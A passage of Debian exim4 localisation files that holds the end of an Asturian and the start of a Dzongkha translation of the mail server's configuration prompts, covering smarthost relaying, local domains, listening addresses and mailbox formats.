Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "el corréu unvíase per aciu d'un smarthost; recíbese a traviés de SMTP o " "fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "el corréu unvíase per aciu d'un smarthost; ensin corréu llocal" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "namái entrega llocal; ensin rede" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ensin configuración de momentu" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Tipu de configuración xeneral del corréu:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Seleiciona'l tipu de configuración de sirvidor de corréu que s'axuste meyor " "a les tos necesidaes." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Los sistemes con señes IP dinámiques, incluyendo los qu'usen accesu " "telefónicu, tendríen de configurase por regla xeneral pa unviar el corréu a " "otru sirvidor nomáu 'smarthost' pa que faiga'l repartu. Esto ye necesario " "porque munchos sistemes receutores de corréu n'Internet bloquien el corréu " "entrante que provenga de señes IP dinámiques como midía de proteición " "escontra'l corréu puxarra." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Un sistema qu'use una direición IP dinámica puedes recibir el to propiu " "corréu, o pue deshabilitase l'unvíu llocal por completu (sacante pal corréu " "pa root y postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "¿Daveres quieres dexar el sistema de corréu ensin configurar?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "El to sistema de corréu quedará inutilizáu y nun podrá usase hasta que lu " "configures. Puedes configuralu más sero, yá seya de mou manual o executando " "'dpkg-reconfigure exim4-config' como alministrador." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nome del sistema de corréu:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "El nome de corréu llocal ye'l nome del dominiu usáu pa 'cualificar' les " "señes de corréu que nun tienen un nome de dominiu." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Esti nome usaráse por otros programes. Tendría de ser el nome completu del " "equipu (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Por exemplu, si la direición de corréu nel sistema llocal ye " "«oficialidá@exemplu.org», el valor correutu pa esta opción ye 'exemplu.org'." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Esti nome nun apaecerá na llinia Dende: de los correos salientes si ta " "activa la reescritura." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Otros destinos pa los que s'aceuta el corréu:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Introduz la llista de dominios de destinatarios pa los qu'ésta máquina " "tendría de considerase a sí mesma como destín final. Separta los dominios de " "la llista con puntu y coma. Estos dominios denómense davezu 'dominios " "llocales'. Siempres s'amiesta'l nome del equipu (${fqdn}) y 'localhost' a la " "llista dada equí." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Por omisión tolos dominios trataránse igual. Si tantu «a.exemplu» como «b." "exemplu» son dominios llocales unviaráse al mesmu destinatariu correos a " "«acc@a.exemplu» y «acc@b.exemplu». Si quies diferenciar ente distintos nomes " "de dominiu necesitarás editar los ficheros de configuración postreramente." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Dominios pa los que se reunvía corréu:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Introduz la llista de dominios destín pa los que'l sistema encaminará corréu " "actuando, por exemplu, como pasera de corréu o respaldu MX. Separta los " "elementos de la llista por puntu y coma. Esto significa que'l sistema " "aceutará corréu pa esti dominiu dende cualesquier destín n'Internet y " "xestionarálos d'acordies a les regles d'entrega." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Nun mentes los dominios llocales equí. Puedes usar comodines." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Máquines pa les que reunviar corréu:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Introduz una llista de rangos de señes IP pa los que'l sistema encaminará " "corréu de mou incondicional, actuando pa ellos como un «smarthost». Separta " "les señes con puntu y coma." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Usa'l formatu estándar direición/llonxitú (por exemplu 194.222.242.0/24 ó " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Dexa esti valor en blanco si'l sistema nun tien de comportase como un " "smarthost pa dengún otru sistema." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nome de dominiu visible pa usuarios llocales:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Activóse la opción p'anubrir el nome de corréu llocal nel corréu saliente. " "Ye necesario qu'especifiques el nome de dominiu que'l sistema tendría d'usar " "pa la parte de dominiu de les señes de corréu orixe usaes pa los usuarios " "llocales." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Direición IP o nome d'equipu pal smarthost saliente:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Introduz la direición IP o'l nome d'equipu del sirvidor de corréu que " "tendría d'usase como sirvidor saliente («smarthost»). Si'l sirvidor namái " "aceuta'l to corréu nun puertu distintu al puertu TCP/25 tendrás d'incluyir " "el númberu de puertu separtándolu con dos signos de dos puntos (por exemplu, " "smarthost.exemplu::587 ó 192.168.254.254::2525). Los dos puntos en " "direiciones IPv6 tendrán d'escribise dos vegaes." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Si'l smarthost requier que'l sistema s'autentique tendrás de consultar cómo " "definir la configuración de l'autenticación SMTP nos ficheros README " "específicos de Debian en /usr/share/doc/exim4-base/." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Destinatariu del corréu de root y postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Tienes de redirixir los correos a postmaster, root y otres cuentes del " "sistema a una cuenta del usuariu que correspuenda a la del alministrador del " "sistema real." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Tol corréru d'esta triba atroxaráse en /var/mail/mail si dexes ermu esti " "valor, lo que nun se recomienda." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Decátate de que los mensaxes empobinaos al alministrador de corréu " "postmaster tendríen de lleese normalmente nel sistema al que va empobináu, " "n'arróu d'unviase a otra parte. Asina, (polo menos ún de) los usuarios " "qu'escueyes nun tendríen de reunviar el so corréu fuera d'ésta máquina. " "Puedes usar el prefixu 'real-' p'angariyar a usar la entrega llocal." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "" "Si introduces más d'un nome d'usuariu tienes de separtalos con espacios." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Direiciones IP nes que recibir conexones SMTP entrantes:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Introduz una llista de direiciones IP separtaes por puntu y coma. El demoniu " "qu'aceuta les conexones entrantes SMTP de Exim escuchará en toles " "direiciones IP equí llistaes." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Si dexes esti valor en blanco, Exim podrá recibir conexones dende " "cualesquier interface de rede disponible." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Recomiéndase prohibir conexones esternes a Exim si esti equipu namái recibe " "corréu direutamente de servicios llocales (y non d'otros equipos). Estos " "servicios incluyendo los programes veceru de corréu (MUA) que namái unvíen " "corréu a localhost asina como fetchmail. Nun podrán facese conexones de mou " "estermu si introduz equí el valor 127.0.0.1, d'esti mou desactivará la " "escucha nes interfaces coneutaes a redes públiques." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "¿Llimitar el númberu de consultes de DNS (marcación baxo demanda)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Nel mou normal d'operación, Exim fai consultes de DNS al aniciar y cuando " "recibe o entrega mensaxes. Estes consultes faense pa poder caltener " "rexistros y pa caltener pequeñu'l númberu de valores fixos grabaos nel " "ficheru de configuración." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Si esti sistema nun tien accesu permanente a sirvidores de nomes DNS (ye'l " "casu cuando s'usa marcación baxo demanda o una llinia d'accesu telefónicu) " "esto podría tener consecuencies nun deseyaes. Por exemplu, podría llegase a " "tentar facer un eventu de conexón (que xenere una llamada costosa) al " "aniciar exim o procesar la cola del corréu (inclusu magar que nun heba " "mensaxes n'espera)." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Tendría de seleicionar esta opción si'l to sistema usa marcación baxo " "demanda. Nun la habilites si'l to sistema ta permanentemente coneutáu a " "Internet." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configuración del sirvidor de corréu:" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "¿Dixebrar la configuración en pequeños ficheros?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Los paquetes Debian de exim4 puen usar una 'configuración concentrada', ye " "dicir, un únicu ficheru monolíticu (/etc/exim4.conf.template), o bien una " "'configuración segmentada' au la configuración d'Exim constrúise usando " "cerca de 50 ficheros pequeños en /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "La configuración concentrada adáutase meyor a grandes modificaciones y ye " "polo xeneral más estable, mientres que la configuración segmentada ufre un " "mou cómodu de facer pequeñes modificaciones pero ye más fráxil y podría " "frañase si se modifica ensin les debíes precauciones." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Alcontrará una discusión pormenorizao sobro la configuración segmentada y " "concentrada nos ficheros específicos de Debian en /usr/share/doc/exim4-base/." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "¿Deseyes anubrir el nome de corréu llocal nos mensaxes salientes?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Les cabeceres de los mensaxes salientes puen reescribise pa que paeza que se " "xeneraren nún sistema distinu. Si escueyes esta opción reescibiránse " "'${mailname}', 'localhost' y '${dc_other_hostnames}' nel Dende, Retrucar a, " "Remitente y Camín de Retornu." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "formatu mbox en /var/mail" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "formatu Maildir nel direutoriu personal" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Mecanismu d'entrega pal corréu llocal:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim puedes atroxar el corréu entregáu llocalmente en distintos formatos. " "Los formatos más comunes son mbox y Maildir. El formatu mbox usa un únicu " "ficheru pa tol buzón de corréu que s'atroxa en /var/mail. Col formatu " "Maildir cada ún de los mensaxes atróxase nun ficheru distintu en ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Ten en cuenta que la mayoría de les ferramientas de corréu en Debian esperen " "que'l mecanismu d'entrega llocal seya a ficheros mbox na so configuración " "por omisión." debian/po/dz.po0000644000000000000000000016157712027557533010613 0ustar # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # Dorji Tashi , 2006. # msgid "" msgstr "" "Project-Id-Version: exim4_debian_po\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-12-11 17:31+0530\n" "Last-Translator: Jurmey Rabgay \n" "Language-Team: Dzongkha \n" "Language: dz\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-Country: Bhutan\n" "X-Poedit-SourceCharset: utf-8\n" "Plural-Forms: nplurals=2; plural=(n!=1)\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "འཕྲལ་གསོག་སྣོད་ཐོ་ནང་ལུ་ མ་སྐྱེལ་བ་ཡོད་མི་ཡིག་འཕྲིན་ཚུ་ རྩ་བསྐྲད་གཏང་ནི་ཨིན་ན?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "ཨེག་ཟིམ་འཕྲལ་གསོག་སྣོད་ཐོ་ /var/spool/exim4/input/ ནང་ལུ་ ད་ལྟོ་ཡང་མ་སྐྱེལ་བ་ཡོད་མི་ཡིག་འཕྲིན་" "ཚུ་འདུག ཨེག་ཟིམ་རྩ་བསྐྲད་བཏང་མི་འདི་གིས་ དེ་ཚུ་ཨེག་ཟིམ་སླར་གཞི་སྒྲིག་མ་འབད་ཚུན་ འགྲེམ་སྤེལ་མ་འབད་བར་" "ལུསཔ་ཨིན།" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "གདམ་ཁ་འདི་མ་གདམ་པ་ཅིན་ འཕྲལ་གསོག་སྣོད་ཐོ་འདི་ ཨེག་ཟིམ་སླར་གཞི་བཙུགས་འབད་བའི་ཤུལ་ལུ་ གྲལ་རིམ་" "ནང་ཡོད་པའི་འཕྲིན་དོན་ཚུ་ འགྲེམ་སྤེལ་འབད་བཅུགཔ་ཨིན། " #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "ཐུམ་སྒྲིལ་འདི་གི་ཚབ་ལུ་ exim4-config སླར་རིམ་སྒྲིག་འབད།" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 འདི་ ཆེད་བརྩོན་ཐུམ་སྒྲིལ་ exim4-config ལུ་ ཆ་རྐྱེན་འབད་དེ་ཡོདཔ་ཨིན། Exim4 ལོག་རིམ་སྒྲིག་" "འབད་ནི་ལུ་ 'dpkg-reconfigure exim4-config' འདི་ ལག་ལེན་འཐབ།" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" "ཨིན་ཊར་ནེཊི་ས་ཁོངས་; ཨེསི་ཨེམ་ཊི་པི་ལག་ལེན་འཐབ་པའི་ཐོག་ལས་ ཡིག་འཕྲིན་ཚུ་ཐད་ཀར་དུ་ གཏང་ནི་དང་ " "འཐོབ་ཚུགསཔ་ཨིན།" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" "སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསཊི་གིས་གཏང་མི་ཡིག་འཕྲིན་;ཨེསི་ཨེམ་ཊི་པི་ ཡང་ན་ ཡིག་འཕྲིན་ལེན་ནི་བརྒྱུད་དེ་ འཐོབ་" "ཨིན།" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསིཊི་གིས་གཏང་ཡོད་པའི་ཡིག་འཕྲིན་; ཉེ་གནས་ཀྱི་ཡིག་འཕྲིན་མེད།" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "ཉེས་གནས་ཀྱི་གཏང་ནི་རྐྱངམ་ཅིག;ཡོངས་འབྲེལ་གུར་མེན།" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "དུས་ཚོད་ད་ལྟོ་བཟུམ་ཅིག་ཁར་ རིམ་སྒྲིག་མེད།" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "སྤྱིར་གཏང་དབྱེ་བ་ཅན་གྱི་ཡིག་འཕྲིན་རིམ་སྒྲིག;" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "ཁྱོད་རའི་དགོས་མཁོ་ ཡང་དག་སྦེ་འགྲུབ་ཚུགས་མི་ ཡིག་འཕྲིན་སར་བར་གྱི་རིམ་སྒྲིག་བྱེ་བ་དེ་ སེལ་འཐུ་འབད་གནང་།" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "ཌའིལ་ཨཔ་རིམ་ལུགས་ཚུ་རྩིས་ཏེ་ ནུས་ཅན་ཨའི་པི་ཁ་བྱང་ཚུ་དང་གཅིག་ཁར་ཡོད་མི་རིམ་ལུགས་ཚུ་གིས་ འགྲེམ་སྤེལ་" "གྱི་་དོན་ལུ་ ཕྱིར་གཏང་ཡིག་འཕྲིན་དེ་ གཞན་མི་གློག་འཕྲུལ་\"smart host\"ཟེར་མི་ལུ་གཏང་ནི་ལུ་ སྤྱིར་གཏང་" "ལུ་ རིམ་སྒྲིག་འབད་དེ་འོང་དགོཔ་ཨིན་ ག་ཅི་འབད་ཟེར་བ་ཅིན་ ཨིན་ཊར་ནེཊི་སྡེབ་ཚན་གུ་ཐོབ་པའི་རིམ་ལུགས་ཆ་" "མཉམ་ར་ ནུས་ཅན་ཨའི་པི་ནང་ལས་ཀྱི་ ནང་འབྱོར་ཡིག་འཕྲིན་ཚུ་ སི་པམ་ཉེན་སྐྱོབ་འབད་ ཁ་བྱང་བཏགསཔ་ཨིན།" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "ནུས་ཅན་ཨའི་པི་ཁ་བྱང་དང་ལྡན་པའི་རིམ་ལུགས་ཅིག་གིས་ རང་རའི་ཡིག་འཕྲིན་འདི་ཐོབ་ཚུགས་ ཡང་ན་ ཉེ་གནས་" "འགྲེམ་སྤེལ་འདི་(རྩ་བ་དང་འགྲེམ་ཁང་འགོ་འཛིན་གྱི་དོན་ལུ་ ཡིག་འཕྲིན་མ་གཏོགས་)ལྕོགས་མིན་ཧྲིལ་བུ་སྦེ་བཟོ་ཚུགས།" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "ཡིག་འཕྲིན་རིམ་སུགས་དེ་ཐད་རི་འབའ་རི་ རིམ་སྒྲིག་མ་འབད་བར་བཞག་ནི་ཨིན་ན?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "ཡིག་འཕྲིན་རིམ་ལུགས་འདི་རིམ་སྒྲིག་མ་འབད་ཚུན་ཚོད་ རྒྱུན་ཆད་ནི་ཨིནམ་དང་ ལག་ལེན་འཐབ་མི་ཚུགས། ཨིན་རུང་ " "ཤུལ་ལས་ཁྱོད་ཀྱིས་ ལགཔ་གིས་ ཡང་ན་ \"dpkg-reconfigure exim4-config\" དེ་གཡོག་བཀོལ་བའི་ཐོག་" "ལས་ རྩ་བ་སྦེ་རིམ་སྒྲིག་འབད་ཚུགས།" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "རིམ་ལུགས་ཡིག་འཕྲིན་གྱི་མིང་:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "\"mail name\" འདི་ ཌོ་མེན་མིང་མེད་པར་ ཡིག་འཕྲིན་ \"qualify\" འབད་ནི་ལུ་ལག་ལེན་འཐབ་མི་ ཌོ་" "མེན་གྱི་མིང་དེ་ཨིན།" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "མིང་འདི་ ལས་རིམ་གཞན་ཚུ་གིས་ཡང་ ལག་ལེན་འཐབ་འོང་། འདི་རྐྱང་པ་དང་ ཌོ་མེན་མིང་ཆ་ཚང་(FQDN) འབད་" "འོང་དགོཔ་ཨིན།" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "དཔེར་ན་ ཉེ་གནས་ཧོསཊི་གུ་ཡིག་འཕྲིན་ཁ་བྱང་དེ་ foo@domain.example ཨིན་པ་ཅིན་ གདམ་ཁ་འདི་གི་ བེ་" "ལུ་ངོ་མ་འདི་ domain.example ཨིན།" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "མིང་འདི་འབྱུང་: བསྐྱར་བྲིས་ལྕོགས་ཅན་བཟོ་སྟེ་ཡོད་པ་ཅིན་ ཕྱིར་བསྐྱོད་གྲལ་ཐིག་ཚུ་ནང་ལས་" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "ཡིག་འཕྲིན་དེ་དང་ལེན་འབད་ཡོད་མིའི་དོན་ལུ་ འགྲོ་ཡུལ་གཞན:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "སེ་མི་ཀོ་ལཱོན་གྱིས་སོར་སོ་འཕྱལ་ཡོད་པའི་ ཐོབ་མཁན་ཌོ་མཱེན་གྱི་ཐོ་ཡིག་ཅིག་ བཙུགས་གནང་ དེ་ཡང་ མ་འཕྲུལ་ཁོ་" "རང་ མཐའ་དཔྱད་ཅིག་སྦེ་བཟོ་དགོཔ་ཨིན། ཌོ་མཱེན་འདི་ཚུ་ སྤྱིར་བཏང་ལུ་ 'local domains' ཟེར་སླབ་ཨིན། ཉེ་" "གནས་ཧོསཊི་མིང་ (${fqdn}) དང་ 'localhost' གཉིས་ཀུ་ ཨ་རྟག་ར་ ནཱ་ལུ་བྱིན་ཏེ་ཡོད་པའི་ཐོ་ཡིག་ནང་" "ཁ་སྐོང་འབད་དེ་ཡོདཔ་ཨིན།" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "སྔོན་སྒྲིག་གི་ཐོག་ལས་ 